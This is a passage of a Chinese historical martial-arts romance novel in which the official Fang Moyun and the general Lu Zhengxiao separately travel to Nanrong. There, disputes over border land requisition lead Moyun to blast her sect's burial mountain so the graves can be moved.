翌日茉云去青岚处吃小馄饨，带了些茶叶给她，青岚一泡顿时愣了半刻看向茉云。
“谁会用这么好的茶叶，做茉莉花茶？”
“钱有多之人吧。”
“大老鹰和关公子来了中州？”
茉云平淡的吃着馄饨说道：“许是吧，我出外办差了。”
“怕见他？”
茉云无语的看了青岚一眼，继续专注着面前的食物。
青岚轻摇着他那银丝雪犬团扇看向茉云：“姐妹一场，能不能说句实话，你难道不会想见大老鹰吗？”
“也会想见，可我不会去见他。”茉云淡然的说道。
青岚愣松了半刻凑近看向茉云，一脸的不可思议，她居然承认了，而茉云却满脸的坦然。
良久之后，青岚嘴角上扬说道：“也是，两情若是长久时，又岂在朝朝暮暮？”
“不是！”茉云笃定而平淡的笑了说道，“因为他是个天坑，这辈子注定扛事太多、万里路遥，而我此生就想畅快的好好活，离他越远越好。”
“方茉云，你什么时候这么怂了？”
“怂？”茉云吸一口气说道，“大姐，这是清醒。”
青岚娇媚的笑了说道：“好，方茉云，我看你清醒到几时？”
“您还是多顾好许秀才吧！”茉云没好气看向青岚，“他考上功名了没？”
青岚摇着团扇却没有再多说什么，眼神流露出一丝落寞，她心中日日期盼许公子中举，但若他中了，便是自己和他情断之时，自己断然是不会误了许公子前程的。
她深吸一口气故意岔开了茉云的话题，淡然笑了：“方茉云，你这大半生吧，总说着最清醒的话，做着最傻的事，能不能吸取点教训。”
茉云轻轻一笑的看向青岚：“好，与君共勉。”
中州入夜，茉云踏着青石路慢行回府衙，她抬眼望向长月星空灿烂，轻轻笑了，原来清醒克制如此不易，不禁想起那两行诗，晓看天色暮看云……
84.老太君
最近半年朝中纷纷扰扰，主和派和主战派依旧在朝堂争执不休，唯一值得庆幸之事便是无人再敢拿什么怀仁天下欺骗众人。
现在朝堂争论的主题便是应该防而不战，让万民休养生息，还是主动出击，歼敌峑戎长治久安。
元帅此时也特地来了南关视察，就是为了嘱托正啸，此时朝中波涛汹涌之时，除非皇上下旨，让他千万不要回京，也不要随意上奏，更不要冲动行事，恐被他人曲意解读，又说他是嗜血好战之人，此时南境诸军宜静不宜动。
罗虎亦来了南关，顺便来向元帅述职，他伤势恢复得差不多了，这些日子惜缘一直在他身边照顾。若辰特地在镇上设宴，让元帅能和家人一聚，他和何友也在作陪。
罗虎到了行礼后，便马上在正啸耳边小声说道：“老太君去中州看望我了。”
正啸抬目望向罗虎，元帅也愣了一下，老太君已经很久没有出京城，她居然会去中州。
“但是老太君貌似……是去见方茉云的。”罗虎想着小声说道。
“这下好，热闹了？”顾老将军看着元帅笑着说道。
元帅马上看向罗虎说道：“到底什么情况？说话别支支吾吾的。”
“启禀元帅，罗虎将军战场上以一当十都不会退一步，但是每次见到老太君都抖。”执礼笑着帮他开脱道，“您还是别怪他了。”
正啸皱眉没有说话，是自己还是不该把自己娘的云夕剑给茉云，引起了很多注意，老太君去中州肯定有这个原因在。
“你们想多了，奶奶跟茉云好像忘年交一样，一见如故。”惜缘想着便乐了说道。
“干娘？和方茉云？”顾老将军看向惜缘吃惊的问道，众人亦投来了诧异的目光，而罗虎回忆起这两个世上他最怕之人坐一起，就一脸惶恐的表情。
“嗯。”惜缘捂嘴笑了说道，“只是关老太君的有可能不太安康。”
“我奶奶？”何友看向惜缘说道，“我奶奶也去见了卢奶奶？”
谁都知道关老太傅和关太傅在朝中都是德高望重，关老太君时常倚老卖老，那也是眼高于顶的，她本是回老家过冬，恰逢卢老太君来了，两人也是自小相识的旧友，所以宋大人设宴，她也来了，定然是没少摆姿态。
“关奶奶她……我奶奶素来是个烈性子，场面一度把宋大人脸都吓白了，可茉云几句话就缓和了。”
若辰笑了看向惜缘笑着说道：“她如何缓和的。”
罗虎想着顷刻就被逗笑了，众人就更好奇了，惜缘亦乐了说道：“那若辰哥，是你问的啊，当日关奶奶在宴席之上说，他们关家子孙世代风雅，不是终日打打杀杀粗鲁之辈。”
“哎。”何友无语叹气道，他奶奶就是连他们爹都拿他没有办法。
“我奶奶眼看就要发作了，谁晓得茉云端起酒杯说，人关奶奶说得一点没错，他们家孙子，最会装疯卖傻了，而且按他们老家的话说，快三十岁了还没结婚，无所出的男子就叫哑炮，可不是既疯又哑，关奶奶这人评价子孙如此坦诚，是个实在人。”惜缘笑得不行说，“宋大人当时都没崩住。”
“扑哧”众人哄堂大笑，若辰无可奈何地也笑了，而正啸居然也都被逗笑了。
“反正我奶奶和茉云没半句脏字，都是恭维关奶奶的话，只是差点没把人嘴巴气歪。奶奶说看见茉云，就像看见自己年轻的时候，茉云说对，是黑山老妖和黑山小妖，奶奶也一点不生气。”惜缘笑着看向正啸说，“奶奶还说，茉云到了京城可以来卢家小住。”
众人都吃惊看向惜缘，老太君能说出此话，定然是别有深意了，这让执礼都有些吃惊。
元帅放下酒杯看向惜缘说道：“你奶奶跟茉云说的？”
“嗯，茉云却让奶奶不要故作试探了，说她若是觊觎哥哥半分，就把头砍下来给老太君当凳子做，谁晓得奶奶几倍酒下肚说，老婆子要凳子干嘛？我家缺个扛事的孙媳妇传宗接代。”惜缘喜笑颜开的想着说道。
众人都愣在原地吃惊的看向惜缘，往日他们亦会开玩笑，可是老太君居然会如此说。
“可茉云说，天黑了您赶快去休息，白日梦就不要做了，刀枪箭射她还能扛一二，传宗接代……她没这能耐。”惜缘越说越忍不住笑，“我奶奶说你不试试你怎么知道你没有？茉云说，何须试，昔日跟你孙子呆在一个府衙我都生不如死，若日后跟要他呆一间屋子，我现在就去跳井。”
“扑哧”众人顿时哄堂大笑，罗虎也点着头笑得不行，这确实是她两的对话，元帅顿时笑得酒都喷了出来。
“我奶奶说茉云眼光有问题，天下再没得比我哥更好的男子，茉云回怼我奶奶说，是的，她眼光是有可能有问题，但是天下再没得比卢老爷子更好的眼光了。”
“我气都没敢出，但是好像奶奶最后居然没吵赢。”罗虎想着后怕的笑着说道。
“诶，不是听说你家主子，自小，人见人爱吗？”顾将军看向千山万莫突然笑着说道。
千山不敢接话，万莫却思考着诚恳的说道：“人？有人都说她是神经病，妖怪，魔鬼，从来没有人说过她是人。”
众人更是笑得前俯后仰，若辰故意转身看向正啸，正啸压根懒得搭理他们，一脸的不为所动。
晚宴后，元帅和正啸回到了营帐商议边关驻防之事，他突然看向正啸说道：“你还是要考虑一下婚姻大事。”
正啸一脸无语的看向元帅，眼中明显都是拒绝。
“依妮这孩子是好，可是卢家的大任可不能让她一个人扛吧。”
“爹，若我的孩子，要如我那般长大，不生也罢。”正啸吸了口气说道。
元帅愣了半刻看向正啸，生在卢家正啸确实也是自小受尽坎坷。
正啸看向元帅怅然所失的表情马上说：“爹，您别误会，我意思是等我们收拾了峑戎，我再考虑这个问题，让孩子安康的长大。”
元帅吸了口气点点头，想着又说道:“那丫头……”
“绝无可能。”正啸斩钉截铁的继续看向边关的地图说道。
元帅看向正啸没好气的叹着气走了，正啸一脸懒得搭理的继续研究着驻防，可他心里得拼命努力把自己的思绪抽回来。
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若辰则笑了端起茶杯喝着茶说道：“卢正啸，你可知你自小不擅长撒谎，特别是跟你长辈撒谎之时，都会习惯躲开眼神。”
正啸没好气的瞪向若辰，执礼和谢青互相看了一眼，皆伏低头忍着笑，若辰笑笑走出了营帐，看向星空长长吸了口气。
元帅视察完离开了南关，还反复叮嘱了正啸最近不要轻举妄动，就留在南边修整一二，哪怕是去游山玩水都行，切莫动军。
翌日清晨，谢青走入正啸营帐恭敬的奉上来信：“将军，您的信。”
正啸头都未抬，正看着边防地图，伸手接过了信，看着信封便停了一刻，是边关的南城来信，来信之人是他昔日在南容学武之时的同门师弟贺宗纬，也是他师傅的长子。
正啸看完信微微蹙眉看向执礼：“南容现在什么情况？”
执礼指向地图说道：“南容疆域，不涉及民众，但是这田地山林俱是门派所有，虽不是守关要地，但也是边防，南城是武林人士居多的城镇，有些事也并不是府衙可随意定夺，素来各门派纷争也多。”
“将军，恰逢您师傅大寿，不如您去一趟。”谢青看向正啸说道。
执礼也看向正啸说道“是的，您也有好多年没去拜会过师傅师娘了。”
“好，帮我备一份寿礼，十坛好酒。”
“是。”
“我也去。”若辰正好兴致勃勃的进入营帐说道。
正啸无语的望向若辰，并没有应他。
“我一个南境总督我哪儿不能去视察。”若辰看向正啸笑了说道，“再者，师父师娘见我，不比见你开心啊，你平素里能尽到什么孝道。”
正啸懒得搭理他，翌日他们一行人便出发去南容城。昔日正啸亲娘殉国之后，他爹怕他在京被仇敌暗害，又见他在边疆郁郁终日，常常在亲娘离去噩梦中惊醒，便偷偷把他送到自己武林中的好友贺宏明这里来习武养身，呆了好几年。
而茉云在中州亦难得的收到了一封书信，是她当日在琼华习武的师傅来信，说是现在边关建防，逼迫琼华交出后山，可是琼华后山埋葬着世代琼华先祖和她的师兄，他也知道茉云身在公门，所以写信来问茉云一个缘由，茉云便去跟宋大人告了假准备去南容看看。走之前，茉云来了青岚这里，打算先吃饱肚子再出发。
“你这又是要去哪？”
“去琼华看看。”
“你居然良心发现了，去探望易瑶师傅？”青岚轻摇着团扇看向茉云道。
“师傅待我还是不错的，所以我很少回去气她！”茉云想着自己都乐了说道，“顺道去趟会当顶。”
青岚看向茉云，南容会当顶在江湖上的名声很响，她亦是听说过的：“方茉云，你还嫌这几年打地架不够多是吗？”
“我当然不是去寻衅，不过是去了解一下他们的武功路数，研究一下大老鹰的剑法破解之道，瑞林师兄说那家伙曾经在会当顶呆过几年，难怪他剑法这么难破……”茉云盘算着说道。
青岚瞬间被逗笑了说道：“方茉云，你碰见大老鹰，破不了的只是他的剑法吗？”
85.踌躇
茉云带着小马和太易一行人往南容去，恰逢秋风寒瑟而起，逆风掠过如刀，茉云却一路疾驰，他两都追不上。
卢老太君临走之前来见茉云之时的话，时刻在她耳边响起，众人以为老太君是调侃与示好，可她一手操持卢家屹立于京城之中，不论是在对卢家歌功颂德的赞誉中，还是在非议卢家好战嗜血诛心围攻中，她宠辱不惊，巍峨不动，岂是寻常人心性，她担得起自己的佩服二字。
她此行就是试探，是提点，亦是警告，老太君那双狠辣的双眼，似乎可以看透一切，不知她是否看清了自己的挣扎和死鸭子嘴硬。
她说她也心疼她的孙儿，心疼卢正啸还不及他爷爷，他爷爷只是辛劳半生，而他一出生，他的命，他的一切皆不属于自己，注定是一颗孤星，因为他不可有软肋，不可有自我，峑戎未灭，他必将肝脑涂地，这就是他活着的意义。
当时自己也是傻，没有克制住的问了一句，为何一个人的人生，可以凭他人这般随意掌控。而老太君则叹息着说道，可那孩子接受了，也认了，他愿意跟他爷爷，他爹一样担起卢家家国大任，若谁乱其心志便是愧对天下更是南境的罪人。
那一刻，自己不知为何居然心虚了，可是自己为何心虚？
老太君临走之时，看向远方说叹息着说道：“看到你就像看到当年年轻的自己，若我现在能回到当年，知道这些年经历了这一切，不知是否还有勇气嫁入卢家。老太婆当年不及你明智和清醒，你不走入这泥潭也好。”
这 一路她都思绪乱成了一团，可是入了南容城关，这思绪顿时被琼华门口纷纷扰扰所打断，一群人武林宵小，居然在琼华门口如此嚣张……，二话不说，拔剑打了再说，顿时城中马上传遍了，琼华那个天不怕地不怕的老七回来了。
而此时恰逢长江沿岸天雨连绵，山洪暴发，江南洪灾泛滥，顿时民间流言四起，说是战乱将至，劳民伤财，所有导致天怒人怨。
朝堂之上更是又兴起了南关的争论，更有癫狂之人胡乱结合了所谓星宿之说，说天道沉沦，卢正啸便是那颗好战祸国的恶星，皇上喝斥了污蔑正啸的此等言论，但是依旧对于南关之战不置可否，视乎在等上天的启示一般，常常闭目不言。
此事不论对于朝局还是军心皆是重创，而正啸他们皆知，什么天怒人怨，这些舆论煽动都是出自朝中那些奸佞的手笔。
“现在谢丞相，王爷等人，应该已经稳住朝中局势了，你就不要再愁了。”若辰给正啸倒茶宽慰着说道，正啸没有说什么。
“只是朝中那些中立之臣本欲支持战峑戎，现在都态度又有些模棱两可了……”
“也要容人考虑清楚吧。”若辰想着说道，“峑戎暗营在我朝也是深耕了多少年，手上不知道掌握了多少朝臣的把柄。”
“天下有几个人家如卢家，关家一样清清白白，处处谨小慎微。又有几个大臣真的能做到鞠躬尽瘁，不在意自家的一亩三分地，要全朝廷都同仇敌忾，那是不可能的。”执礼也整理着桌上公文边宽慰大家道
“为今之计，我们以不变应万变，先把边关修好，再谋后路。”若辰坦然地说道。
“明日出发去南容看看吧。”正啸望向窗外淡然的说道，他向来不在意朝臣如何说他，他在意的终究是朝廷对峑戎的态度。
“是！”
几日的路程之后，正啸一行人到了会当顶门派的大门外，就看见师傅贺宏明和师娘寒娘开心迎了出来，正啸如武林中人见师傅一般，飞身下马，立刻下跪行礼，众人自当随礼。
“这些虚礼就不必了，快进来，今日山上雾大快进屋，你师娘备好了晚膳。”宏明开心的说道。
“看见你安然无恙，师傅师娘就放心了。”寒娘看向正啸也开朗的笑了说道。
正啸望向师傅师娘，当年他娘走后，自己身心都遭受重创，幸亏他爹偷偷把自己送到会当顶学艺，能让自己远离京城，自己这辈子最轻松的几年就是在会当顶过的，师傅师娘素来待自己如亲儿一般。他们一行人随着师傅师娘走入了饭堂。
“师傅，师娘，徒儿既然来了，有事您但说无妨。”正啸开门见山便说。
宏明愣了半刻看向正啸，正啸素来也是直来直去的性子，寒娘也吸了口气。
若辰马上笑着转圜说道：“正啸，今日我等刚来，咱多陪师傅喝喝酒，其余事容后再说嘛。”
“好。”正啸才说道。
宏明则笑着端起酒杯说道：“你们就在这好好呆着，多陪陪师傅，最近城里人来人往，人心浮动，也闹腾，你们都不要管。”
“好，您这儿有酒有茶有趣事，我等哪儿都不去。”若辰笑着亦端起酒杯敬宏明道。
“你们有没得什么趣事讲给师傅我听。”
“您徒儿，您知道，他终日都是公事，哪有什么趣事。”若辰笑着给师傅斟满酒杯。
“没有吗？癞蛤蟆呢？”执礼小声应道，正啸抬眼就瞪着执礼。
众人瞬间就乐了，连一贯没有表情的千山都忍着笑，执礼也笑着故意看向别处。
一番寒暄之后，他们才离去。正啸走了进来，宗玮跟正啸解释说，叶大侠是来邀约他们明日府衙和各个门派的都来会当顶，大家一起议论此事。
“明日你有兴趣就坐后面听听，别出面，没兴趣就自己去走走玩玩。反正莫插手此事。”
正啸看向宏明，他也明白他师傅从来不以私事打扰自己。
“此事你就听师傅的，这不到你这个层面来管。”宏明笑着看向正啸和若晨说道。
此时外面来人报，会当顶的三师弟万子谦上山了，他本是万家钱庄的大少爷，他爹嫌他过文弱，当日送他到山上学艺，他为人精明儒雅，从来都是最尊敬正啸的。
“师兄。”
“嗯。”正啸伸手扶起了他。
“本不是什么整生，也没打算大办，再者师父本想着你会来，诸事纷扰，也没通知你其他师弟来，这不子谦来了，他素来知进退，就让他上山了。”
“师傅，我是公务繁忙，显少上山拜见师傅和师娘，是为不孝，可我从未觉得师弟们纷扰，您言重了，能见他们我觉得甚好。”正啸温和的说道。
宏明开心的点点头，师娘开心迎了出来，子谦亦马上行礼。
“回来都别客气了，快坐，吃饭了。”
众人围坐在宏明身边，宏明夫妇素来最喜欢热闹，自然是喜笑颜开。
“听说你前些日子去了边城，可还顺利？”师娘笑着看向子谦关切的问道。
子谦淡然而笑不知如何评述叹气道：“幸得师兄护佑。”
宏明看向子谦没好气的说道：“诶，这小子何时变得这般谄媚。”
“千真万确，真不是拍师兄马屁，若不是师兄威名，我差点没能回来。”子谦笑着说道。
若辰他们都乐了，子谦在边城是被方茉云吓得不轻。
众人陪着师傅喝酒谈笑到很晚，才各自回房休息，正啸此时命人叫来了的宗玮和子谦。
“师兄，我擅自写信给你，被爹娘骂得狗血淋头。”宗玮看向正啸吸了口气说道，“其实也没有什么事，就是爹不是快过寿了吗？”
“让你说就说。”正啸看向宗纬说道，他一贯也不是废话的人。
“师兄，南容城内各帮派的纷争也不是一日两日了，江湖事江湖了，也不该牵扯您，只是这次朝中驻防大事，颇有不公。”
“如何个不公法？”执礼看向了宗玮说道。
“就是好人和老实人便被拿捏，武林中人也总有些名门旺族跟朝廷大官有牵扯，人打个招呼线就从他们那里绕过去了，没得招呼打的，为了达到朝廷的面积数，就使劲的往这儿占地。我爹您知道的，他看不惯便仗义执言了几句！”
若辰他们看向宗玮，这也分属常见，下面州县落实朝廷决议时，总会有些偏颇，不只是南城。
“这更好，城中人也知道，我爹年轻时便与卢帅相识，他们就话语讥讽的说，若我会当顶不移，他们也不移。可我会当顶和琼华，叶门这些老实中正的门派有什么可移的，他们在我们前面，凭什么我们先移。”宗玮气愤地说道。
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>“好，我知道了，我明日去边关看看。”
“师兄，我……”
“关防之事，你告知我实情即可，朝廷自有定夺，去休息吧，我还跟子谦聊一下南境诸城的情况。”
“是，师兄明日是否可讨教一下剑法。”
“好。”
“诸位师兄早些休息。”宗玮开心的行礼说道。
“这一趟边城之行，万家被骗不少钱。”若辰品着茶看向子谦说道，“需不需要承接一些南境官府的业务补贴一二。”
“关大人，切莫这么说，为平定南境大业，我万家肝脑涂地，出再多的钱财都是应该的。”子谦喜笑颜开的跟正啸填着茶说道。
众人皆乐了，正啸没好气的看向子谦，若辰亦笑得不行摇摇头，这便是跟方茉云共事过的人。
“师兄和关大人诸事烦扰，切莫为我费心，这已算是我万家和我爹在赎罪！”子谦想着亦是觉得劫后余生笑着说道，“再者我爹昔日就说过，我家若牵扯师兄是更大的罪过，所以今日绝不敢让师兄和关大人费心，但若是需要我万家做什么，我万家定全力以赴，鞠躬尽瘁。”
正啸看向子谦亦没有说什么，众人都知道，不论是师傅和师兄弟都是待正啸赤诚之人。
“你呀，也是个精明之人，更别说你爹了，可我们到了边城才知，方茉云居然能从你这儿坑这么多钱？”若辰笑了看向子谦说道。
“不知为何，每当见到方大人那大杀八方的气势，只有心悦诚服的份。我从未见过她这般……光芒万丈却毫无底线之人。”子谦想着乐了说道，众人想着亦哄堂大笑。
正啸无语的看向子谦说道：“现在南境诸城，边关重建的情况如何？”
子谦顿了一下望向正啸，若辰亦望向正啸笑了说道：“你让子谦如何评述？”
正啸亦没有再说什么，万家肯定亦和漕帮是一样的心思，不插手朝廷的事务，自己是不应该问子谦，让他为难的。
“师兄，师弟所知，无不可对师兄言！”子谦温和的笑了说道，他想起了茉云曾经跟自己说的话，真诚的赤诚便是知无不言，至于如何处置，那是卢正啸的事，“南境诸城若是每座城都有方大人和师兄、关大人坐镇便好了，南境本就处在当年战乱修整之期，本不富裕，现在朝廷修关的政令到了，大笔经费到了，地方执行起来……难免乱象丛生。”
若辰亦吸了口气说道：“南境吏治腐败亦非一日之事了，现在想来南容皆是这种状况，下面各县更是……我们是该下去州县看看。”
“关大人，你总得抓几个鸡给猴看！”执礼亦看向若辰说道，若辰点点头。
正啸晚上和子谦聊安全转运粮草和军饷的事情，聊到深夜，万家的生意遍布整个南境，所以对南境每一城都较为了解。
“师兄还是这般一心为公，全然无私。”子谦看向正啸关切的说道。
“可不就是公务繁忙，日子这般无趣，还拉着我一起！”若辰摇着扇子叹气说道，正啸也没有说什么。
“师弟这些日子倒是有些感悟，人活一世，事情再忙，日子还是应该过得活色生香。”子谦想着便笑了说道，“昔日在边城，方大人忙里偷闲，开心带着府衙小马他们去山里爬树摘野柿子，后来才知道，峑戎第二日便打来了，她许是唯恐毁了那一树的柿子。”
“扑哧”众人顿时哄堂大笑，正啸亦被逗笑了，这便是只有方茉云能干得出的事。
夜深人静之时，正啸抬眼望向院外的星空，即熟悉又陌生，熟悉的还是这个院子和这片星空，陌生的却是自己，一晃十几年的光阴，当日那个一腔热血，怀揣报国之梦的少年，励精图治数十年，依旧是前路茫茫，万里路遥……
一刹那间，不知为何想起了茉云，这丫头不知在何处胡闹，可是老太君这次中州之行又一次引起了自己警觉，她确实最好少出现在自己面前，不能让她陷入这弯泥泽，自己都分身乏术，定是无法顾全的……
而他不知的是，此时那闹腾的丫头亦在这片灿烂星河下，正站在琼华后山，俯瞰山下万家灯火，亦是心乱……
86.豁然
山风徐徐来，天地如此寂然，本不狂野的山风，在丛林和巨石中回旋，亦变成了呼啸。
茉云在琼华后山看见易瑶师傅站在山野巨石之上，背影寂寥，却透着坚定。
“师傅在怀念师伯？”
易瑶深深吸了口气说道：“他一生阔达开朗，一定会明白体谅我们的难处。”
茉云笑了看向易瑶：“师傅，若师伯不能体谅，会如何发火？”
易瑶无语的望向茉云没好气的说道：“你师伯就没对我发过火。”
茉云抬眼看向苍穹说“师傅独守琼华十几年，可曾后悔过，若时光倒转，回到当年，师傅还会嫁入琼华吗？”
“不论往事流转多少次，我都会嫁他。”
茉云愣松了半刻看向易瑶，师傅的脸色那么的笃定从容，可师叔曾说师傅入门不到五年便守寡至今。
她故意逗易瑶师傅说道，“师傅就咱两这关系，您就不要强撑了！师伯定然不会从后山跳出来找您麻烦。”
“心心复心心，结爱务在深。”易瑶看向茉云坦然而坚定的说。
茉云愣松了半刻看着易瑶笑了说道：“可师叔说，你与师伯结为夫妻才五年光阴，师伯就去了，上次我碰见个老太太，他嫁他夫君十年才去，把一大家子丢给她，她怨气滔天，老后悔了！您不爽您就说，徒儿能理解！”
“她怎不改嫁！”易瑶没好气的看向茉云说道，“我若不爽，我为何不走！”
茉云顿时被逗笑了，卢老太君改嫁谁能要她，可是她顿时亦恍惚了半刻，老太君若后悔她为何不跑，她不但不跑，还这般心心念念的把卢家荣辱挂在嘴边，而且若谁让她死后没办法埋在卢家，她不跟人拼命才怪，这老太太唬我……
茉云忽然轻轻问道：“为何不悔？执迷不悟？”
“你不懂也好，若有一天你懂了，岂止会执迷不悟，你必粉身碎骨翻江倒海亦不悔！”
“哼！”茉云顿时嗤之以鼻，心中却没好气的想着，卢老太君真是心机够深沉，一大把年纪花这么大功夫来南境，果然就是来唬我试探我的，幸亏我机灵……我若认了，等着我的还不知道是什么大祸。
易瑶师傅看着后山说道，打断了茉云的思绪：“你说的大义师傅想清楚了，这后山你打算如何搬？是不是将师兄师姐叫回来，从长计议。”
“师傅大恩，徒儿无以为报，好不容易在公门混到了一官半职，我带人回来了帮您搞定便是，何须惊动师兄师姐。”茉云满脸堆笑的搂着易瑶手臂说道。
易瑶看向茉云的喜笑颜开，顿时满脸狐疑。
茉云无语的说道：“师傅，徒儿亦长大成人，不会胡闹了！”
“嗯！”易瑶才放心的点点头，两人看向这琼华百年的后山。
两人便这么立于后山石上，看着山风卷出竹海的波澜，一浪一浪的，似乎拍打着人心一般，茉云顷刻却笑了，什么乱其心志便是愧对天下，我什么时候想过这辈子要对不对得起谁？天下人如何看我与我何干？
翌日晨起正啸陪师傅和宗玮练剑之后，就去了看了边防。这次他特地带了从边城调入军中的杨长史杨东山，让他负责带人勘探丈量。
“看样子宗纬说的没错，像叶家，会当顶，琼华这样武林中德高望重的门派，都是侠义人士，行得正坐得直，自是不会去做些鸡鸣狗盗，私占开垦田地之事。”谢青望向远处说道。
“将军，我也从府衙查了地契，这些也都不是什么正当途径所得，如今要他们交出来，还敢裹挟他人，真是蛇心不足。”执礼愤然指着说道。
“着实可恶。”若辰顿时义愤填膺的说道。
众人都奇怪的看向若晨。这不是他以往说话的语气。
“方茉云为何不在此？”若辰故意长吁短叹的说道，正啸瞪向若辰，众人皆伏低头忍着笑。
他们沿着边关视察了一日，傍晚一行才回到会当顶，门外就听见师傅在怒吼。
“当然是琼华有理，他们凭什么逼琼华移山。”师傅没好气的拍着桌子吼道。
“贺兄，何须跟此等宵小置气。”此时传来的是叶大侠的声音。
“老叶，那群杂碎啥事都没理。”宏明勃然大怒的骂道，“有本事人来我这里评理看看，我打得他去见他们师祖。”
“师伯，不等您去，琼华弟子回来。已经把闹事的全打了。”叶青小声应道。
“打得好。”宏明愣了一下拍着桌子说道，“谁打的？”
“师兄。”寒娘被逗乐了说道。
宏明满脸期待的看向叶青：“琼华哪位师侄有这般有出息，他们大徒儿孝天回来了？他剑法好似也没这般能耐啊？”
“爹，不合适，这个时候说这些不合适！”
“贺兄，为今之计，宜和。”叶掌门也无语的看向宏明说道。
宏明摸着后脑勺说道：“行吧，你们说什么是什么，但是若要我支持把琼华用了上百年后山给那群畜生垫背，门都没有，那群家伙什么干不出，什么朝廷需要，他们的后山就不是战略要地了，要拿一起拿。”
叶大侠叹着气起身：“那我去回大人，咱就按这个意思，要移一起移。”
“嗯。”宏明不情愿的说道。
叶大侠走出去就看见了正啸他们一行人，他愣了半刻立马上前行礼。
“叶大侠请起。”正啸伸手就扶住了叶大侠。
叶青开心的冲过去说道：“卢师兄。”
“怎这般没有分寸，叫将军。”叶大侠责备叶青说道。
“叫师兄就好。”正啸看向叶青说道。
“要是哥知道你回来了，肯定很高兴。”
“我们昨日才到。”若辰笑着解释道。
“若辰哥也来了。”
众人寒暄之后，叶大侠等人告辞了，师娘看他们视察了一日，定也是累了，马上招呼大家晚膳，众人刚坐下，忽得听到“轰”的一声巨响，然后就是“轰轰轰”的一阵山崩地裂般的轰隆声，此起彼伏的传来。
“打雷了？”
“娘，晚霞还如此艳丽，打什么雷？”宗纬看向窗外说道。
正啸看向千山，他马上走了出去，不一会儿千山回来。
“启禀少主，好像是有人炸山，离此较远，山中有浓烟，风飘来中有硝的气味。”千山不一会儿像正啸汇报说。
不到一盏茶的功夫，门人来报：“掌门，是琼华后山被炸？”
宏明顿时就怒了，一拍桌子就吼道“拿我剑来，他们如此猖狂，还得了，如此欺负琼华，我老师兄还睡在那里呢……”
“去给你爹拿剑来，无耻之徒……”寒娘也气愤地说道。
“不是，掌门，是她们自己炸的，正迁坟呢。”门人指向那个方向说道。
“什么？”宏明吃惊的愣在原地说道，“你……确定？”
“确定，都是琼华之人在迁坟。”
“老师姐……”寒娘深深吸了口气想着说道
“可是琼华之前不是死都不迁的吗？”宗玮吃惊地说道
宏明深吸了一口气说道：“你懂什么，琼华门派高洁，让我等仰望。惭愧啊。”
正啸往黑烟眺望过去，若有所思，执礼和谢青互相看了一眼，众人也没有想到武林门派居然会如此深明大义，对朝廷之事这么上心。
夜里忙完茉云回到了琼华，看见小马和太易笑着说道：“谁说峑戎之人不做好事，你看人留下的炸药，这不帮了大忙。”
他们两人被逗笑了，太易伏低头忍着笑汇报道：“易瑶师傅好似气晕了过去。”
“睡一觉就好，我师父本来就气性大！”茉云端起清粥喝着。
“还有一件事，您先把碗放下来，我跟您汇报！”小马轻声的说道。
茉云抬眉看向小马：“何事啊！”
小马接过了茉云手上的碗说道：“我刚收到消息，卢将军和关大人来了南容。”
茉云怔了半刻，没好气的说道：“这为何要把碗放下！”
“万一惊吓过度，您把师傅的碗砸了不合适！”小马笑着说道。
茉云起身就是一脚，小马早有防备，一溜烟跑了。
“将军此行来干嘛？”太易在一旁笑得不行，望向小马问道。
“关
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我们啥事？把琼华的事干了，我等早日回中州！”茉云没好气的拿起饼往嘴里塞着。
“确实，将军亲自来了，定然是有难事！”小马看向太易说道，“琼华炸了后山之后，众人又都在挤兑会当顶了，城里居然有留言说镇南大将军假公济私，道貌岸然，此行来南容，就是为他师傅撑腰，还说什么家里有大官，处处好办事。”
茉云顿时咬着饼停住了，看向小马，眼中露出了冷厉的光，本来朝中就对其非议不止，他们居然还让正啸来南容，到时再闹出个民意沸腾。
“他们这群宵小就连提将军名讳都不配！”太易顿时没好气的骂道，“还居然敢辱骂将军，你就说是谁！”
“别瞎嚷嚷，早点休息，明日随我师父去趟会当顶议事！”茉云起身说道。
“是！”他们两马上开心的应道。
翌日清晨，天刚破晓，就听见了门外的剑鸣之声，是叶凌来了，正啸拿剑走了出去，无语的看向他。
“练练。”叶凌话音未落，剑芒就袭来了。
此时师傅穿着衣服还没扣好，就冲了出来，开心的看着。
两人练剑一练就是半个时辰，打得那是天昏地暗，千山、万莫他们都津津有味看着，所有练武之人都看得目不暇接。执礼却一脸的无语，但是心想道少主最近心中憋闷，能大战一场亦是发泄。
“好。”宏明看得目不转睛，时不时激动的鼓掌道。
正逢阔超大婚，曲悠，曹旷夫妇他们都在城中，亦都随着叶凌来了，都饶有兴致的看着。
最终剑招还是正啸的占了上风，他逼停了叶凌的剑，宏明一脸的骄傲点点头看向寒娘，寒娘看他那得意的模样的被逗笑了。
“再来。”
“打了一早上你不累？”正啸没好气的说道。
“不累啊，怎的现在如此不济了。”
寒娘笑着马上说道：“早膳已经准备好了，大家快进来吃吧。”
正啸懒得搭理叶凌，转身回房更衣，准备陪师傅师娘用早膳。
“有劳寒姨，我来帮您。”风二娘凤溪甜美的笑着看向寒娘说道。
“不用，都坐，寒姨最喜欢热闹了。”
众人开心的围坐于红木大圆桌用早膳，如同当年年少时一般，这时门外来报，说琼华掌门和师叔已经到了。
“我们马上去迎。”宏明立刻擦着嘴起身来说道，“你们在内堂吃就是了，慢慢吃，等下议事，都不用出来。”
“锅上还蒸着米糕，等下师娘迎了老师姐，就去给你们端来。”寒娘也马上也笑着起身说道。
“谢谢寒姨。”
他们夫妇两马上恭敬的出去迎琼华的老师姐，会当顶和琼华那是几代人的交情了，现在琼华的掌门是先任掌门的夫人，是个贞烈刚毅之女子，备受武林中人敬仰。
“老师姐，山月师弟。两位快上坐，寒娘快给咱老师姐和师弟奉茶。”
“咱不用那般客套。”琼华掌门依旧坐在客位上笑着摆手道。
“师姐，我听闻了您昨日之壮举，师弟好生敬仰。”宏明敬佩的说道，“师姐就是大气，我等昨日本还在为这些身外之物几番计较，当真是自愧不如！”
掌门没好气瞪向他身边一个琼华打扮的弟子：“我也是没法子，当初收留了这不孝徒儿，她本也在朝廷为官，我叫他回来问问实情，商议此事，他可倒好……直接给我把后山炸了。”
宏明抬眉看向这个神清气爽，一脸风轻云淡的琼华弟子，看气息都知道是个绝顶高手。
“方茉云，还不拜见你师叔。”易瑶掌门没好气的看向茉云说道。
“茉云拜见师叔。”茉云行礼说道。
“好。”宏明开心的看向茉云，他本就是武痴，最喜欢武功好的孩子，而堂内之人此刻听闻到茉云的声音，顿时全部都抬起了头。
